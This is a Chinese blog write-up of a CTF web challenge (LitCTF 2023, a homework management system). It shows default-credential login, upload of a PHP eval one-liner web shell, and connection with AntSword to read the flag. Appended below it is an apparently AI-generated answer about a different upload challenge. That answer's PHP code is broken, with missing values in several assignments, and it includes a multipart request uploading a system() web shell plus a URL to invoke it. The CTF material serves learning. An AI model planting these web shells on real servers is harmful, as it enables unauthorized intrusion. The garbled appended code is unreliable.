【CTF Web】NSSCTF 3867 [LitCTF 2023]作业管理系统 Writeup(文件上传+代码审计+弱口令)

[LitCTF 2023]作业管理系统

交作业!!但是哪里不对?
出题人 探姬


解法

查看网页源代码。

使用默认账户登入系统。

这里可以上传文件。

上传一个一句话木马。

<?php @eval($_POST['cmd']); ?>

上传成功。

使用蚁剑连接。

在文件管理找到 flag。

Flag

NSSCTF{e10c4ecc-4ba6-4efd-95a7-75a21d21950b}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
我可以回答这个问题。这里有一道ctf web方向的文件题目的代码和解决方法: 代码: ```php <?php if(isset($_POST['submit'])){ $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = ; } } if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = ; } if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = ; } if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = ; } if ($uploadOk == ) { echo "Sorry, your file was not uploaded."; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } ?> <!DOCTYPE html> <html> <body> <form action="" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> </body> </html> ``` 解决方法: 这道题目的漏洞在于没有对上文件进行类型检查,只是简单地检查了文件的后缀名。攻击者可以通过修改文件的Content-Type来绕过这个检查。因此,我们可以通过修改Content-Type来上一个包含恶意代码文件,然后执行这个文件来获取flag。 具体步骤如下: 1. 上一个包含恶意代码文件,如下所示: ``` ------WebKitFormBoundary7MA4YWxkTrZugW Content-Disposition: form-data; name="fileToUpload"; filename="shell.php" Content-Type: image/jpeg <?php echo system($_GET['cmd']); ?> ------WebKitFormBoundary7MA4YWxkTrZugW-- ``` 2. 修改Content-Type为`image/jpeg`,然后提交表单。 3. 访问上文件,执行恶意代码,如下所示: ``` http://example.com/uploads/shell.php?cmd=ls ``` 这样就可以获取flag了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值